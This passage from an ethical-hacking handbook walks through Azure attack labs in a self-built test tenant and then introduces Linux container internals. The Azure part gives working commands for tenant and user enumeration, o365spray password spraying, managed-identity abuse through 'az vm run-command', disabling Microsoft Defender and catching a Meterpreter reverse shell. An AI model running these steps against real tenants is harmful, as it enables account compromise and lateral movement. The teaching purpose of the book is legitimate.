<--OMITTED FOR BREVITY---->
┌──(kali kali)-[~/]
└─$ cd PurpleCloud/deploy❷
┌──(kali kali)-[~/PurpleCloud/deploy]
└─$ cp terraform.tfexample terraform.tfvars❸:
┌──(kali kali)-[~/PurpleCloud/deploy]
└─$ nano terraform.tfvars❹
Gray Hat Hacking: The Ethical Hacker’s Handbook
588
The first step is to clone the PurpleCloud repo ❶. The repo itself has many of the
Terraform scripts in the deploy directory ❷. Once you’re in the directory, you need to
move the terraform.tfexample file to terraform.tfvars ❸. Next, you need to edit the file
and change several settings ❹.
Here are the relevant areas you need to change in the tfexample file:
arm_client_id = "REPLACE_WITH_YOUR_VALUES"❺
arm_client_secret = "REPLACE_WITH_YOUR_VALUES"
subscription_id = "REPLACE_WITH_YOUR_VALUES"
tenant_id = "REPLACE_WITH_YOUR_VALUES"
The picture that has been provided to you shows how you can get to these values ❺
using the Azure Portal. If you are using the Azure Portal, you can find these values by
choosing Azure Active Directory | App Registrations and then clicking your application
(see Figure 28-2).
Once the values are populated inside the configuration file, you can find the values to
populate these items in the file. You will need to generate a client secret, which can be
found in the Certificates and Secrets area of the application. You also have the option in
this file to edit the src_ip to lock down access to exposed systems.
Run the terraform commands to build the system.
┌──(kali kali)-[~/PurpleCloud/deploy]
└─$ terraform init && terraform apply -var-file=terraform.tfvars❻
By specifying a var-file ❻ in Terraform, you can now deploy to your tenant. This pro-
cess will take several minutes to complete. Note that there will be output about external
IP addresses that will not be shown directly to you, but we will find these addresses as we
go through our labs. You can also modify the files so that external access is not allowed
and only internal IPs are used. This is documented in PurpleCloud itself, not here.
Chapter 28: Hacking in Azure
589
For us to attempt some of our labs, we need to modify some items in the Portal. First, we
need to add a user we can use for our lab access:
┌──(kali kali)-[~/]
└─$ sudo curl -sL https://aka.ms/InstallAzureCLIDeb | sudo DIST_CODE=bullseye
bash❶
<--OMMITED FOR BREVITY---->
┌──(kali kali)-[~/]
└─$ az login❷.
PART VI
now, we will use the standard authorization code flow ❷ for systems with a desktop. If
you are not using a desktop environment, consider logging in with the -u/-p switches.
Once we are in, we will create a user account we can use to authenticate to Azure itself:
┌──(kali kali)-[~/]
└─$ az ad user create --display ghh-test-user --password
ReallyReallyVeryStrongPassword --user-principal-name [email protected]❸.
The specified password does not comply with password complexity requirements.
Please provide a different password ❹.
┌──(kali kali)-[~/]
└─$ az ad user create --display ghh-test-user --password
ReallyReallyVeryStrongPassword!1 --user-principal-name [email protected]
{
"accountEnabled": true,
<--OMITTED FOR BREVITY---->
}
Gray Hat Hacking: The Ethical Hacker’s Handbook
590
Note that we are creating a real user account with a password that is long and strong ❸.
Do not use the password in the book; instead, choose your own long and strong password,
as you will be giving this user rights in your cloud environment ❹.
The user we created has no permissions in Azure AD, so the next step is to give this
user rights. There are several ways to accomplish this; the easiest is to perform the follow-
ing steps in the Azure Portal:
1. Choose Azure | Subscriptions and then find the Subscription you have your assets
in. Click the Access Control (IAM) option on the left.
2. Click Role Assignments and then click Add Role Assignment. There are three
steps to this:
a. Find the role.
b. Find the members.
c. Make the assignment. In the first screen, be sure to choose Reader.
3. Click Next. For Members, choose our user, ghh-test-user. Click Select Members
to select this user.
4. Finally, click View and Assign.
Now that we have set up our user, we need to give one of our virtual machines a
system-assigned managed identity. Here are the steps to follow:
1. In the Azure Portal, click the resource group created by PurpleCloud. It will be
called purplecloud-devops1.
2. Once the resources are listed, click rtc-dc1. From this area, click the identity item
in the settings area on the left side.
3. Click the Status to On. You may have to click Save to continue.
4. You will now see an Azure Role Assignments button. Click the button to add a
role assignment.
5. You may or may not need to choose a subscription; if you have more than one,
you will need to choose the subscription from a list in the scopes area of the
screen. Choose your subscription and then choose the role Contributor.
Note that this is a fairly high level of access; at this point, you should have locked
down the access control list to just your IP address. If you have not, make sure to modify
the terraform.tfvas file and then run Terraform again to update the configuration.
We should now validate that all our machines are accessible. To do this, we need to log
in to our domain controller with an administrator account. This lab walks you through
that process, starting with getting the IP address of our domain controller.
Chapter 28: Hacking in Azure
591
┌──(kali kali)-[~/]
└─$ az vm list -o table -d❶
Name ResourceGroup PowerState PublicIps Fqdns Location Zones
-------------- ------------------- ------------ ------------ ------- ---------- -------
rtc-dc1❷ PURPLECLOUD-DEVOPS1 VM running 40.78.2.188❺ westus
rtc-velocihelk❹ PURPLECLOUD-DEVOPS1 VM running 13.88.175.91 westus
Win10-Lars❸ PURPLECLOUD-DEVOPS1 VM running 13.88.175.92 westus
We start by using the az vm tool to list out all the objects in table format ❶. In our
environment, we see three VMs: a domain controller ❷, a user workstation ❸, and
an SOC server/ELK server ❹. The workstation and domain controller can be logged
into with RDP, and the SOC server will be available over SSH. For the purposes of
our labs, we will just concentrate on rtc-dc1. In this example, the IP address shown is
40.78.2.188 ❺ but yours will be different.
Use RDP to access rtc-dc1 with the username rtc.local\rtcadmin and the password
Password123. If you can log in to the server, you can leave the RDP session open or close
it. We will return to it later in the chapter.
PART VI
are set by scope, and those scopes define the users’ permissions in Azure. Microsoft Azure
AD is a different type of identity store than the classic Active Directory Domain Services.
You will find many differences between the various types of Microsoft identity services,
as explained in Table 28-1.
Azure Permissions
Let’s now look at the overall roles in Azure. For example, we can look at the Virtual
Machine User Login role, which is a built-in role for Azure. What does this role do and
Gray Hat Hacking: The Ethical Hacker’s Handbook
592
Azure Active
Directory
Features Azure AD Microsoft AD DS Domain Services
Hosting type Hosted (SaaS) On-premises, Hosted (SaaS)
self-hosted
Login types Web based, LDAP Store, LDAP Store,
OAuth, SAML, Kerberos, NTLMv2 Kerberos, NTLMv2
OpenIDConnect
Computer N/A, use Intune (MDM) Group Policy Group Policy
management
User management Flat structure, Folders, ACLs based, Folders, ACLs based,
scope-based controls tree structure tree structure
Administrator Global Administrator, Domain Admin, Backup Admin
accounts/roles/ Billing Administrator, Enterprise Admin, (no Domain Admin,
groups Contributor roles Backup Admin, Enterprise Admin, or
Schema Admin schema modifications
allowed)
Organizations and Tenants Forests and domains No Forests, no
multitenancy domains
Synchronization On-premises AD can Can sync users to Cannot sync
options sync to Azure AD Azure AD, only outbound, takes
domain services one connector, only input from Azure AD
one Azure AD sync
per object
Table 28-1 A Comparison of Microsoft Identity Services
what does it contain? The following is an example of how the role is constructed using
JSON as the input for the system:
{
"id": "/providers/Microsoft.Authorization/roleDefinitions/fb879df8-f326-
4884-b1cf-06f3ad86be52",❶
"properties": {
"roleName": "Virtual Machine User Login",
"description": "View Virtual Machines in the portal and login as a
regular user.",
"assignableScopes": [
"/"
],
"permissions": [
{
"actions": [
"Microsoft.Network/publicIPAddresses/read❷",
"Microsoft.Network/virtualNetworks/read",
"Microsoft.Network/loadBalancers/read",
"Microsoft.Network/networkInterfaces/read",
"Microsoft.Compute/virtualMachines/*/read",
"Microsoft.HybridCompute/machines/*/read"
Chapter 28: Hacking in Azure
593
],
"notActions": [],
"dataActions": [
"Microsoft.Compute/virtualMachines/login/action❸",
"Microsoft.HybridCompute/machines/login/action"
],
"notDataActions": []
}
]
}
}
This JSON blob is an example of what occurs behind the built-in Azure AD role
for Virtual Machine User Login ❶. It is globally available to all Azure AD tenants. The
permissions set by the system are scoping, which controls what you can do. We can
see “Control Plane” actions in Azure by looking at the allowed actions. Many of the
scopes provided to users of this account are read (or just the capability to read objects in
Azure) ❷. There are also actions in very specific Azure roles that are known as Data Plane
options. In this example, granting a user the ability to log in to virtual machines will need
two specific components. What is my IP address, and what is the capability to log in to
that IP address? That is what the Data Plane options afford—the login capability to the
actual machine IP address ❸. Now, this only provides someone the ability to do it from
the Portal. If the IP address is exposed to the Internet and they know what the username
and password are, but they are not in this group, can they still log in? Yes. Not being in
this group doesn’t prevent protocols like RDP from working on the data channel; it only
simplifies access to RDP using the Azure Portal. You can find a link to the built-in roles
documentation in the “For Further Reading” section.
What types of built-in roles give us the most permissions? Which are the ones we need
to keep an eye on?
PART VI
• Classic (or Legacy) roles such as Co-Owner and Owner have an extreme level of
permissions (they can do anything to subscriptions and below).
• App Administrator can make modifications to Azure AD and has the ability to
affect many of the Developer Services.
The first part of the equation is uncovering where the Azure AD tenant exists and if it
is hosting users or is sending authenticated users to a federated instance. To do this, we
will construct some queries to several of the Microsoft online APIs. We can do this on
the command line, as show next, but it can also be done using a tool like Burp Intruder.
┌──(kali kali)-[~/projects]
└─$ curl -s https://login.microsoftonline.com/ghhtestbed.onmicrosoft.com❶/
.well-known/openid-configuration | jq '.'
{
"token_endpoint": "https://login.microsoftonline.com/695086d3-491e-4241-
9b19-132414a37d1b/oauth2/token"❷,
"token_endpoint_auth_methods_supported": [
"client_secret_post",
"private_key_jwt",
"client_secret_basic"
┌──(kali kali)-[~/projects]
└─$ curl "https://login.microsoftonline.com/getuserrealm.srf?login=test@
ghhtestbed❸.onmicrosoft.com&json=1" | jq'.'
{"State":4,"UserState":1,"Login":"[email protected]","NameSpace
Type":"Managed❹","DomainName":"ghhtestbed.onmicrosoft.com","FederationBrandNa
me":"GHHTestBest","CloudInstanceName":"microsoftonline.com","CloudInstanceIss
uerUri":"urn:federation:MicrosoftOnline"}
The first query gives us a basic safety check for our checks. Using the OpenIDConnect
well-known configuration, we can tell whether an environment exists in Azure. There are
more than likely going to be two domains for every tenant. The first domain, as you may
notice in our example, is ghhtestbed.onmicrosoft.com. This is the default domain that
will be hosted using the onmicrosoft.com top-level domain, and the ghhtestbed ❶ part
will be custom to you. The output of this, if correct, will display the configuration of
the OpenIDConnect endpoint ❷. So far, we are not abusing the system; this is how the
system is supposed to work.
The next request does not incur any attempts to log in, but it can reveal the tenant
type we have found ❸. We can start by using any e-mail address, regardless of whether
or not it exists, to check the hosting of this tenant. The NameSpaceType ❹ key in the
JSON output will reflect several values:
Now that we have an idea of what tenants are valid, we need to find valid user accounts.
Most of the user accounts in Azure are based on e-mail addresses.
We will not cover the specifics of creating usernames in this section of the book.
However, there are ways to find valid e-mail addresses, such as taking the list of first
and last names from LinkedIn and other sources and creating patterns such as firstname
[email protected]. You can also find plenty of e-mail dumps on the Internet itself.
You may notice that we are using an onmicrosoft.com domain that may not have
e-mail, but the user accounts will still be in the [email protected] format. Microsoft
refers to this as User Principal Name (UPN). Let’s see how we can harvest these accounts:
┌──(kali kali)-[~/]
└─$ curl -s -X POST https://login.microsoftonline.com/common/
GetCredentialType \
--data '{"Username":"[email protected]"}'❺
{"Username":"[email protected]","Display":"test@ghhtestbed.
onmicrosoft.com","IfExistsResult":1❻,"IsUnmanaged":false,"ThrottleStatus":0,
"Credentials":{"PrefCredential":1,"HasPassword":true,"RemoteNgcParams":null,"
FidoParams":null,"SasParams":null,"CertAuthParams":null,"GoogleParams":null,
"FacebookParams":null},"EstsProperties":{"UserTenantBranding":null,"DomainTy
pe":3},"IsSignupDisallowed":true}
┌──(kali kali)-[~/]
└─$ curl -s -X POST https://login.microsoftonline.com/common/
GetCredentialType \
--data '{"Username":"[email protected]"}'❼
{"Username":"[email protected]","Display":"ghh-test-
[email protected]","IfExistsResult":0❽,"IsUnmanaged":false,"Thr
ottleStatus":0,"Credentials":{"PrefCredential":1,"HasPassword":true,"RemoteNg
cParams":null,"FidoParams":null,"SasParams":null,"CertAuthParams":null,"Googl
PART VI
eParams":null,"FacebookParams":null},"EstsProperties":{"UserTenantBranding":n
ull,"DomainType":3},"IsSignupDisallowed":true}
We’ve now seen how these tools work under the hood, but what if we wanted to con-
struct an attack that uses something more sophisticated such as password spraying or
password attacks on an Office 365 account. Password-spraying attacks use a single
password across a multitude of users. This attack style is very popular on live systems
because of password-lockout issues. We have several tools for this, such as Beau Bullock’s
MSOLSpray4 and 0xZDH o365spray.5 For this lab, and for compatibility reasons, we
will be running the o365spray tool. To do so, let’s get a copy of it on our local system:
┌──(kali kali)-[~/]
└─$ git clone https://github.com/0xZDH/o365spray.git❶
┌──(kali kali)-[~/o365spray]
└─$ python3 o365spray.py -d ghhtestbed.onmicrosoft.com❷
<--OMMITED FOR BREVITY---->
[2021-10-20 21:36:18,817] INFO : Running O365 validation for: ghhtestbed.
onmicrosoft.com
[2021-10-20 21:36:19,240] INFO : [VALID] The following domain is using O365:
ghhtestbed.onmicrosoft.com
┌──(kali kali)-[~/projects/o365spray]
└─$ python3 o365spray.py -d ghhtestbed.onmicrosoft.com -u ghh-test-user@
ghhtestbed.onmicrosoft.com❸ --enum
<--OMITTED FOR BREVITY---->
[2021-10-20 21:36:31,975] INFO : Running O365 validation for: ghhtestbed
.onmicrosoft.com
[2021-10-20 21:36:32,227] INFO : [VALID] The following domain is using O365:
ghhtestbed.onmicrosoft.com
[2021-10-20 21:36:32,227] INFO : Running user enumeration against 1 potential
users
[2021-10-20 21:36:33,654] INFO : [VALID] ghh-test-user@ghhtestbed.
onmicrosoft.com
[2021-10-20 21:36:33,655] INFO :
[ * ] Valid accounts can be found at: '/home/kali/o365spray/enum/enum_valid_
accounts.2110202136.txt'
[ * ] All enumerated accounts can be found at: '/home/kali/o365spray/enum/
enum_tested_accounts.2110282136.txt'
[2021-10-28 21:36:33,655] INFO : Valid Accounts: 1
We will start by cloning the repository for o365spray ❶. The tool o365spray gives
us the ability to work with many of the different APIs that Microsoft uses to validate
credentials. The tool can validate the tenant and can validate and enumerate users ❷.
We have provided it a single user ❸ and ran it in enum mode. The tool does support
a list that can be used. It goes beyond just OpenIDConnect: it checks for ActiveSync,
Exchange Web Services, and several other ways to perform authentications in modern
Microsoft environments. Now, the question is, can the tool help us with password spray-
ing? Yes. We will use a static username and password to demonstrate how it works, as
shown next. If you want to perform password spraying, you can pass a static password to
a list of users and so on.
┌──(kali kali)-[~/projects/o365spray]
└─$ python3 o365spray.py -d ghhtestbed.onmicrosoft.com -u ghh-test-user@
ghhtestbed.onmicrosoft.com❹ -p ReallyReallyVeryStrongPassword1! –spray
<--OMITTED FOR BREVITY---->
Chapter 28: Hacking in Azure
597
[2021-10-20 21:36:39,002] INFO : Running password spray against 1 users.
[2021-10-20 21:36:39,002] INFO : Password spraying the following passwords:
['ReallyReallyVeryStrongPassword1!']
[2021-10-20 21:36:39,654] INFO : [VALID] ghh-test-user@ghhtestbed
.onmicrosoft.com:ReallyReallyVeryStrongPassword1!
[2021-10-20 21:36:39,654] INFO :
[ * ] Writing valid credentials to: '/home/kali/projects/o365spray/spray/
spray_valid_credentials.2110202136.txt'
[ * ] All sprayed credentials can be found at: '/home/kali/projects/
o365spray/spray/spray_tested_credentials.2110202136.txt'
[2021-10-28 21:36:39,654] INFO : Valid Credentials: 1
The next step is to provide the tool with a known-good password ❹ just to validate
how the tool operates. We also exchange the –enum switch for --spray, which allows us
to attack accounts with a password attack. Here, we see that the tool does show us the
valid credentials, storing the output in a file. Our next step will be to see how we can use
the new credentials.
Now with a valid account, how can we use it to start our work down to logging into the
Microsoft Azure components on the control plane. Let’s begin by trying these credentials
on the Microsoft Azure CLI:
┌──(kali kali)-[~/o365spray]
└─$ az login -u [email protected] -p
ReallyReallyVeryStrongPassword1! ❶
<--OMITTED FOR BREVITY---->
┌──(kali kali)-[~/o365spray]
└─$ az vm list -o table -d❷
Name ResourceGroup PowerState PublicIps
-------------- ------------------- ------------ -------------
rtc-dc1❸ PURPLECLOUD-DEVOPS1 VM running 40.78.2.188❻
rtc-velocihelk. PURPLECLOUD-DEVOPS1 VM running 13.88.175.91
Win10-Lars. PURPLECLOUD-DEVOPS1 VM running 13.88.175.92
┌──(kali kali)-[~/o365spray]
PART VI
└─$ az vm run-command invoke -g PURPLECLOUD-DEVOPS1 -n rtc-dc1 --command-id
RunShellScript --scripts "dir❹
(AuthorizationFailed) The client '[email protected].
com' with object id '6a1OMMITED4' does not have authorization❺ to perform
action 'Microsoft.Compute/virtualMachines/runCommand/action' over scope '/
subscriptions/OMMITED/resourceGroups/PURPLECLOUD-DEVOPS1/providers/Microsoft.
Compute/virtualMachines/rtc-dc1' or the scope is invalid. If access was
recently granted, please refresh your credentials.
We now see that the user ghh-test-user is a valid Azure user, that we can log in ❶, and
that we do have access to list out virtual machines ❷. This is a promising set of events.
There is no multifactor authentication (MFA) on the account, and there are no restric-
tions as far as we can see. We feel that we can fully control things. We even see a domain
controller ❸ and a few other servers that are interesting. Why not run commands on
them to try to abuse our privileges? We attempt to use run-command ❹, but this fails.
Gray Hat Hacking: The Ethical Hacker’s Handbook
598
This is because the user only has read access to the virtual machines. The user cannot
execute commands or change the machines themselves ❺. The machines do have a public
IP address ❻, with luck you can RDP into these systems if you have the right username
and password.
It would not be uncommon for machines that process data or perform Azure-specific
actions to have what is known as an Azure system-assigned managed identity. These
identities can be tied to roles in Azure, and those roles can have specific access to Azure
services. Back in Lab 28-2, we created an Azure system-assigned managed identity, and
that identity can be used to perform Azure actions. Our script does several things. The
first is querying the Identity Metadata Service ❶, which you may recall from Chapter 27
because AWS has one as well. The output of this request will not be an API key such as
the one in Azure; instead, it will be a JWT ❷ JSON web token.
How can we use the JWT in our subsequent request? We can send a request using the
Invoke-WebRequest ❸ feature of PowerShell to a specific RESTful URL. You may need
to tweak the RESTful URL to match your subscription ID, which is omitted from the
request shown previously. Notice that we are getting information from rtc-dc1 ❹, but we
can also get information from almost any source this machine has access to. We can even
run commands on remote machines.
Let’s start by installing the Azure CLI on that Windows domain controller and
running some commands:
PS C:\Users\RTCAdmin> wget https://aka.ms/installazurecliwindows❺
PS C:\Users\RTCAdmin> az login --identity
PS C:\Users\RTCAdmin> az vm run-command invoke -g PURPLECLOUD-DEVOPS1 -n
Win10-Lars --command-id RunPowerShellScript --scripts "whoami; hostname ❻" {
"value": [
{
"code": "ComponentStatus/StdOut/succeeded",
"displayStatus": "Provisioning succeeded",
"level": "Info",
"message": "nt authority\\system\nWin10-Lars❼",
PART VI
"time": null
},
{
"code": "ComponentStatus/StdErr/succeeded",
"displayStatus": "Provisioning succeeded",
"level": "Info",
"message": "",
"time": null
}
]
}
Armed now with the ability to run a command remotely, we can extend this capability to
running a backdoor. One way to do this is to use a simple backdoor to get on the system
like a Meterpreter agent:
PS C:\Users\RTCAdmin> az vm run-command invoke -g PURPLECLOUD-DEVOPS1 -n
Win10-Lars --command-id RunPowerShellScript --scripts "Set-MpPreference
-DisableRealtimeMonitoring 1❶" {
"value": [
{
<--OMITTED FOR BREVITY---->
]
}
Our first command disables Microsoft Defender ❶, which is present on the system.
You can use the steps outlined in the Metasploit.md file in the GrayHatHacking GitHub
repository for Chapter 28 (ch28). Once you have your Meterpreter PS1 file set, you can
use the following output to get access to the node itself. The Meterpreter PS1 file is a full
Meterpreter payload using PowerShell encoding to deliver the payload. The encoding
module uses reflective loading to load the assembly itself.
msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started HTTP reverse handler on http://0.0.0.0:8000
msf6 exploit(multi/handler) > [*] http://0.0.0.0:8000 handling request from
127.0.0.1; (UUID: xrxfh32d) Redirecting stageless connection from /cVpQ2fr27S
x4SX5IGc7KhAEZ5yS0qMMOpqRrQtMn1PPy9kEMBDzV9ia-OL6KAYeBc_0ixfcXiQCtqwy with UA
'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'
[*] http://0.0.0.0:8000 handling request from 127.0.0.1; (UUID: xrxfh32d)
Attaching orphaned/stageless session...
[*] Meterpreter session 1 opened (127.0.0.1:8000 -> 127.0.0.1:33374) at 2021-11-07
11:04:45 +0000❷
msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > shell❸
Process 32156 created.
Channel 1 created.
hostname
Win10-Lars❹
Once the Meterpreter payload loads ❷, you can interact with it as you normally
would. Starting a command shell session ❸, you can see that we are now on a dif-
ferent machine—that of Win10-Lars ❹. You have started to move from the control
plane of Azure further into the data plane. You can then pivot from here deeper into
an infrastructure.
Chapter 28: Hacking in Azure
601
Summary
Much like Amazon Web Services, Microsoft Azure is a very powerful system. Most of
these cloud technologies, as you can see, give attackers new avenues of attack that they
did not have before. There are now several attack surface areas to cover. You are not lim-
ited to just the data plane traffic, which you are traditionally limited to in standard data
centers; instead, you have an already available out-of-the-box control plane that you can
take advantage of. Microsoft Azure, while being a good step forward for Microsoft, has
just as many issues as many of the other cloud providers we see today.
References
1. “What is Amazon Organizations?”, https://docs.aws.amazon.com/organizations/
latest/userguide/orgs_introduction.html.
2. “Organize and manage multiple Azure Subscriptions,” https://docs.microsoft
.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/organize-
subscriptions.
3. PurpleCloud installation steps, https://purple.iknowjason.io/install.html.
4. MSOLspray, https://github.com/dafthack/MSOLSpray.
5. O365spray, https://github.com/0xZDH/o365spray.
PART VI
This page intentionally left blank
Hacking Containers
CHAPTER
29
In this chapter, we cover the following topics:
• Linux containers
• Applications, specifically Docker
• Container security
• Kernel capabilities
Linux containers have been a mainstay of application deployment technologies for quite
some time. The use of containers is not a very new idea, although it may seem that way.
For decades, container-type technologies have shown up in IBM mainframes and Sun
Solaris machines. It does, however, feel that modern containers are different. The term
container has become an overloaded term like a sandbox. Linux containers are particular
constructs that have been refined over time. When we refer to “containers,” it is essential
to note that we are referring to Linux-based containers. When we describe other con-
tainer technologies, such as Windows containers, we will specify the operating system to
denote the difference. In this chapter, we define a Linux container as a system having the
following properties:
Linux Containers
Containers have been popular within many of platform as a service (PaaS) offerings since
the late 2000s. Docker is a software package for building cross-platform container solu-
tions. Linux, however, has some unique properties that allow both proprietary container
603
Gray Hat Hacking: The Ethical Hacker’s Handbook
604
software and various other container technologies to exist. Some of the more commonly
used technologies include the following:
• chroot, which is a technology that changes the root directory for a process and
its children
• Union mount file systems, such as Overlay2, Overlay,4 and Aufs
There are also technologies that are not so well known outside of the Linux kernel
development space, such as control groups (cgroups) and namespaces. We will be explor-
ing each one of these items in detail so that we can better understand how they work
within containers. There are also nonstandard configurations that allow you to hardened
containers; for example, AppArmor and secure computing (seccomp) profiles can be
applied to containers that would further restrict what we can do. Naturally, because they
are not standard or the default, they are seldom used in production.
Container Internals
Containers were not based on any standard when they were first conceived of; in fact, the
Open Container Initiative (OCI5) was established in 2015 by the Docker company. Prior
to 2015, many container frameworks created their own standards for how to interact
with the kernel. This has led to many different types of container runtimes in one form
or another over the last several years. Regardless of the differences in Linux containers,
many of the initial constructs remain the same.
Cgroups
Starting in version 2.6.24 of the Linux Kernel, a functionality known as control groups,
or cgroups for short, was released. The latest release of cgroups (cgroups v2) was intro-
duced in Kernel 4.5 and brings security enhancements to the system. Control groups are
a series of kernel-level resource controls for processes that can include the ability to limit
resources, such as CPU, network, and disk, and isolate those resources from one another.
Our environment can be easily set up with all of the targets by using the build script
located inside of the ch29 directory. You should reference the README file located in
the ch29 directory to set up the environment. One of the steps in that process is to run
the build.sh ❶ script, which will eventually output the IP addresses you will be connect-
ing to, including the Kali system:
┌──(kali kali)-[~/GHHv6/ch29/Lab]
└─$ ./build.sh❶
<--OMITTED FOR BREVITY---->
[+]You can now login to kali, here is the inventory files with IP addresses
docker:
hosts:
3.239.17.17:
Chapter 29: Hacking Containers
605
vars:
ansible_user: ubuntu
ansible_python_interpreter: /usr/bin/python3
ansible_ssh_private_key_file: /home/kali/.ssh/id_rsa.pem
kali❷:
hosts:
3.94.148.9❸:
vars:
ansible_user: kali❺
ansible_python_interpreter: /usr/bin/python3
ansible_ssh_private_key_file: /home/kali/.ssh/id_rsa.pem❹
NOTE Some of the lab steps will be performed on your Kali unit, and some
of the lab steps will be performed on target systems. The prompts help us to
display the differences between each system.
You will be logging in to the Kali ❷ system using the IP address ❸ provided and the
SSH key ❹ that is shown. The Kali user remains as kali ❺. The other target devices can
be logged in to directly; however, we will be working to gain access to them in a different
manner throughout this chapter.
Inside the Kali virtual machine in the cloud, let’s begin by creating a very simple con-
tainer that will give us a shell:
┌──(kali@kali)-[~]
└─$ mkdir -p containers/easy
┌──(kali@kali)-[~]
└─$ cd containers/easy; nano Dockerfile
We should now be editing our Dockerfile within the containers/easy directory. The
following lines should be entered into that file to be able to create a simple container:
PART VI
FROM debian:bullseye-slim❶
CMD ["bash"]❷
The file we have created is known as the Dockerfile. You can consider the Dockerfile
a runbook for building a container. Each and every command in the file has meaning;
for example, FROM ❶ represents one command in the container and will be stored as a
single command in the storage file system, and CMD ❷ represents another command.
We will be exploring this further in the “Storage” section of this chapter. For now, let’s
build and run our container so that we can explore cgroups:
┌──(kali@kali)-[~]
└─$ docker build -t ghh-easy❹ . ❸
<--OMITTED FOR BREVITY---->
┌──(kali@kali)-[~]
└─$ docker run -it ghh-easy /bin/bash
root@672946df5677:/#
Gray Hat Hacking: The Ethical Hacker’s Handbook
606
NOTE Most of the containers you encounter will have strange hostnames
attached them. The standard Docker container will have the last part of
the SHA-256 hash that is used as the cgroup marker on the host. This may
become important later when you want to locate the running processes.
These container commands will first build a container in the current directory ❸
using the Dockerfile we created and will assign it a tag of ghh-easy ❹. We can then
execute a docker command to run the container in interactive mode. The prompt dis-
plays a strange alphanumerical value. The value here represents the container ID, which
is the first set of characters from the full container ID, which in turn is an SHA-256 hash.
The hash you see may be different from these examples. The hash is derived from one of
the layers of the file storage environment. Open a new terminal on the same system and
leave the Docker container running.
The control groups on a Kali system will be based on cgroups version 2,6 which allows
for tighter controls. One of the major differences between version 1 and version 2 is the
directory hierarchy, which is viewable by using the sys file system at /sys/fs/cgroup. In
cgroup version 1, each resource had its own hierarchy, and they map to namespaces:
• CPU
• cpuacct
• cpuset
• devices
• freezer
• memory
• netcls
• PIDs
Inside of each of those directories would be different control groups. This particu-
lar setup had several vulnerabilities to it, and one of those vulnerabilities will appear
at the end of this chapter. The most common vulnerability is the fact that access
to a cgroup’s information and that of its children cgroups were stored in different
directories and not by process ID. Having a shared directory structure led to ACL
hierarchy-based vulnerabilities.
Consider an example in which our bash shell has a network daemon; the PID for the
shell would be in both CPU and netcls, as it would potentially belong to both cgroups
on the file system. They could also have nested cgroups inside of each PID. Ultimately,
this means much more effort to rationalize and find all the instances where groups live.
In control groups v2, there is now a unified control group structure stored in each PID.
Kali, being a rolling distribution, will have a different cgroup environment than our
Docker host, as it is running an older kernel. This is not uncommon to find in the wild,
as long-term supported systems will be used for years, with these types of kernel archi-
tectures still operational. The other major change to cgroups in version 2 is the concept
of “rootless containers,” which makes exploitation through the use of the root account
much more difficult.
Chapter 29: Hacking Containers
607
The following commands should be performed in a new window, as we should leave
our Docker container running:
┌──(kali@kali)-[~]
└─$ cd /proc/$(pidof docker run) ❺
┌──(kali kali)-[/proc/25976]
└─$ cat cgroup❻
0::/user.slice/user-1001.slice/session-221.scope
The first command will put us in the proc directory of Linux, specifically in the
process ID of the running Docker container ❺. The second command will output the
cgroup location that our process is running. This directory maps to /sys/fs/cgroup/user-
1001.slice/session-221.scope ❻. One of the big changes is you will not see references to
all of the cgroups anymore. The related cgroups you would normally see are missing. The
storing of cgroups inside of directories which can lead to nested child cgroups is now no
longer available. This will become critical later when we run an exploit that takes advan-
tage of this version 1 cgroup flaw. This is no longer an available flaw in the kernel that
ships with Kali’s rolling distribution.
Let’s return to our Kali host. Here are some commands that can help us work with
the Docker API:
PART VI
The first command will exit our container ❼. At ❽, we can see that our container is
no longer running; it has exited. The next command will list out all containers; notice the
--all flag ❾ will list out all the containers, running or not. We can delete the container
reference and any storage layers that may have diverged from the normal image by run-
ning the rm ❿ command.
Namespaces
Namespaces and cgroups are tightly linked, as namespaces are how the Linux Kernel
can form constraints around specific items. Namespaces, similar to how program-
ming like C++ use them, allow for a process or collection of kernel control objects
to be grouped together. This grouping limits or controls what that process or object
Gray Hat Hacking: The Ethical Hacker’s Handbook
608
can see. To leverage the namespace, we can use a set of APIs that are exposed by the
kernel itself:
• clone() This will clone a process and then create the appropriate namespace
for it.
• setns() This allows an existing process to move into a namespace that we may
be able to use.
• unshare() This moves the process out of a namespace.
You might find that exploits designed for use in the kernel outside of a container fail,
and the reason they fail may have to do with the visibility the exploit has on the indi-
vidual items on the disk. You may have to rewrite your exploit to leverage a different set
of APIs to move outside of a namespace and back into the global namespace. The use
of namespaces may have originated from the original design documents from Bell Lab’s
Plan 9 (see the “For Further Reading” section for more information).
Storage
The mechanism that Docker and several other container runtimes use is known as a
union file system (UnionFS). To best understand a union file system, consider a set of
clear pieces of transparent paper. One paper at the bottom has a single line; let’s call this
the lower layer. The next piece of paper placed on top of it, also translucent, has a line
connecting to the first, and the picture that’s formed shows two lines making a 90 degree
angle. The next piece of paper is overlayed on top, and that paper has a third line con-
necting to the first two lines; this picture forms a square U. We’ll call this the layer upper.
The final sheet of paper on top we’ll call the workdir; it completes the picture, and we see
a square. The layering represents how the overlay file system, which is in use in Docker,
uses layers that include diffs between each layer on our disk.
There are several union file systems in existence today, such as Aufs and OverlayFS.
Overlay2 is the current filesystem which uses a technology that merges different direc-
tories together to form a consolidated filesystem. The base layers are usually made up
of base operating system distribution files, but not always. They generally feature a set
of layers up to the working upper layer. These layers and the differences are all merged
together when a container is booted, by mounting an overlay file system. These file
system layers are not mutable; they are read-only. There is a “working” directory that is
merged as a final layer that can be written to. As shown in Figure 29-1, the overlay file
system will merge all of the appropriate changes together.
Container1 Container1
Apache Redis
Merged Merged Merged
Lower Debian/bin/sbin/etc/var
Inside of your Kali virtual machine in the cloud, let’s begin by creating a very simple
container that when run will give us a shell:
┌──(kali@kali)-[~]
└─$ mkdir -p containers/nmap
┌──(kali@kali)-[~]
└─$ cd containers/nmap; nano Dockerfile
ENTRYPOINT ["/usr/bin/nmap"]
The Dockerfile will separate layers based on Docker commands that are
UPPERCASED. The first command will import a container FROM ❶ the Debian
container repository that is tagged with bullseye-slim. Notice the next command is
RUN, which goes between carriage return/linefeeds in the file ❷. This is still considered
one layer, as it is using two specific items. The first is the RUN command that is speci-
fied, and the second is the && ❸ syntax, which in bash will execute the first command
and if successful execute the next command. Next, \ ❹ is used to break apart long com-
